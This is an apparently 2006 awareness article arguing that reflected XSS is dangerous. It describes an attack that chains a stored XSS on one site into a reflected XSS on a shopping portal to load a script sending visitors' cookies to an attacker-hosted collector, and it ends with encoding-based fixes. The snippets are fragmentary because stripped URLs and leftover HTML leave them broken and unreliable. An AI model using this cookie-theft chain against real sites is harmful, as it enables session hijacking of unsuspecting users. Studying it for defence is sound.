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XSS Vulnerabilities, So understimated, so dangerous

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In this little paper I will try to convince admins, webmaster
and in general everyone is concerned to secure a web site of how
dangerous can be a XSS hole. I will not cover in depth what XSS
is because there’s a huge library on this topic available on
internet and on

–[ 2.0 XSS So what’s XSS? XSS stands for cross site scripting,
that is a way to inject script code into a web page making it
execute whenever the page loads or a specific event is triggered.

2.1 Temporary XSS

A factor because of which this kind of bug is understimated is
due to the “temporary xss” as I use to call them. Temporary xss
are script codes executed only when a script code within a
crafted input is issued by the user.


<p>The above example will inject a &#8220; <plaintext>&#8221; tag in the<br /> search.asp page showing the source html code of the page The<br /> point here is: Who searched for <plaintext> will see the source<br /> code but this not implies any permanent alteration of the page.</p> <p> 2.2 Permanent XSS</p> <p>A &#8220;permanent XSS&#8221; as I use to call them, are due to unsanitized<br /> input by user that will be saved on a database for example. Each<br /> time these unsanitized fields are read from the database and<br /> printed on the page the script will be executed. (A lot of<br /> registration forms server side scripts are affected by this kind<br /> of vuln)</p> <p>&#8211;[ 3.0 Attacks</p> <p>What I want to demonstrate in this article is how dangerous can<br /> be a temporary xss. Most of the webmaster (99%, believe me),<br /> treat this kind of bug as very very low level issue because of<br /> the reasons we have seen. They think it is even a loss of time<br /> to sanitize input that doesn&#8217;t go into a database.</p> <p>What they seem to be unable to understand is that whenever a<br /> malicious user is able to run a client side script from their<br /> domain name a cookie stealing attack can be *easily* taken. This<br /> becomes a high level risk vuln when we deal with ecommerce site,<br /> webmail service and similar.</p> <p> 3.1 Scenario 1</p> <p>Let&#8217;s assume that we&#8217;ve found a xss vuln into 2 sites. The first<br /> will be used as the &#8220;dumb&#8221; (A) site, that has a permanent xss<br /> hole, while the latter will be a big shopping portal (B) I want<br /> to steal cookie from, that has &#8220;just&#8221; a little innocent<br /> temporary xss hole.</p> <p>We mail the big shopping portal admin about the vuln, trying to<br /> make him understand how serious it is the bug. He never reply.<br /> So we decide to have some fun&#8230;innocent much innocent<br /> as their xss hole was, I suppose&#8230;</p> <p>What one could do is to inject a stealth script into the dumb<br /> site to force (always stealthly) every visitor of site A to load<br /> the vulnerable url we have found into site B. Here anyone can<br /> understand that even<br /> <plaintext> is now very very<br /> useful for our purpose. Instead of <plaintext>, we can use<br /> something like this:<script src=''></script></p> <p>Funny.js will be our malicious script code that will be run on<br /> domain &#8230;and it will be similar to this: //<br /> Funny.js navigate to &#8216;;<br /> + document.cookie // where collect_cookies.asp will be a server<br /> side script that will collect everything passed by parameter<br /> &#8220;cookie&#8221; and can be a hosting space set up by the<br /> malicious attacker.</p> <p>So what happens here? 1. A user visits dumb site thus triggering<br /> our permanent xss. 2. The permanent xss will load the page</p> <p><script</p> <p>src=''></script> that<br /> executes funny.js thanks to the temporary xss hole in the big<br /> shopping portal. 3. funny.js is now loaded on the big shopping<br /> portal domain name letting us steal the cookie (and the login<br /> data) of the dumb site visitor.</p> <p> By &#8220;stealth script&#8221; we mean a script that doesn&#8217;t change the<br /> appearance of the page so that no one will notice any background<br /> work.</p> <p> &#8212; [ Side effects</p> <p>In this section I will show some side effects of the xss desease<br /> that are often forgotten or misunderstood by a lot of<br /> analysts/webmasters.</p> <p>The xss holes, permanent and tempory ones, can be used to attack<br /> a local victim (visitor of the vulnerable site) directly by<br /> injecting a malicious code capable of exploting a local<br /> vulnerability of the victim system. This has become very common<br /> (and easy to do) because of the tons of vulnerabilities that<br /> affect Internet Explorer and the browsers in general. </p> <p>Let&#8217;s take for example a xss hole into Anyone<br /> could take advantage of the trustness of this domain to execute<br /> code with high privilege levels, executing or installing<br /> malicious activex. This kind of approach can be taken into<br /> Internet Exlporer and in general in all the browsers that use<br /> the so called trusted &#8220;Zones&#8221;.</p> <p>Another important issue that can make a simple XSS hole a high<br /> level risk issue is the capability of attacking thousands<br /> computers into few hours or even into minutes according to the<br /> traffic of the vulnerable page. This kind of practice can lead<br /> to malware/adware spread. If a high traffic page is vulnerable<br /> to a permanent xss a malware/worm/adware coder can choose this<br /> kind of approach to put the seeds of his worm making it spread<br /> in a stealth manner and within few time.</p> <p> &#8212; [ How to solve the problem</p> <p>Incredible to say, XSS holes are the most simple to solve and<br /> fix. They usually involve script tag but not always. Less known<br /> code can use the image tag with dynsrc or src parameters and<br /> &#8220;javascript:alert(&#8216;aaa&#8217;)&#8221; as argument or the<br /> <style> tag e.g. :</p> <style type="text/javascript">script goes here</style> <p> In general the characters to be sanitized are the usual "<" and<br /> ">" but there are some more to be carefully escaped: &#038;{code};<br /> will run the code into netscape / mozilla browsers so "&#038;{"<br /> combination of chars should be sanitized too. In the 99% of the<br /> cases an "HTML Encode" would solve the problem. In asp it can be<br /> easily done with the inbuilt function<br /> server.htmlencode(myparameter).</p> <div class="addtoany_share_save_container"><div class="a2a_kit a2a_target addtoany_list" id="wpa2a_1"><a class="a2a_dd addtoany_share_save" href=""><img src="" width="256" height="24" alt="Share"/></a></div> <script type="text/javascript"><!-- wpa2a.script_load(); //--></script> </div> <!-- end content --> <div class="post_footer"> <div class="tags_link"> <img src="" alt=""/> <div class="tags_link_div" id="0"></div> </div> <script type="text/javascript"> processtags("0"); </script> </div> </div> <div class="box author"> <p> <img src="" alt="admin" style="float:left; display:inline; margin-right:10px; padding:1px; border:1px #b2b2b2 solid;width: 86px; height:86px" /> <strong>Article's Source: </strong><a href=""></a><br/><strong>Author: </strong><a href="" title="Posts by admin" rel="author">admin</a><br/> </p> <div class="sub_icon"> <br /> <ul> <li>Posted On April 19, 2006 </li> <li>Published articles 283513 </li> </ul> </div> </div> <!-- COMMENTS --> <div class="box" style="border-bottom:none; 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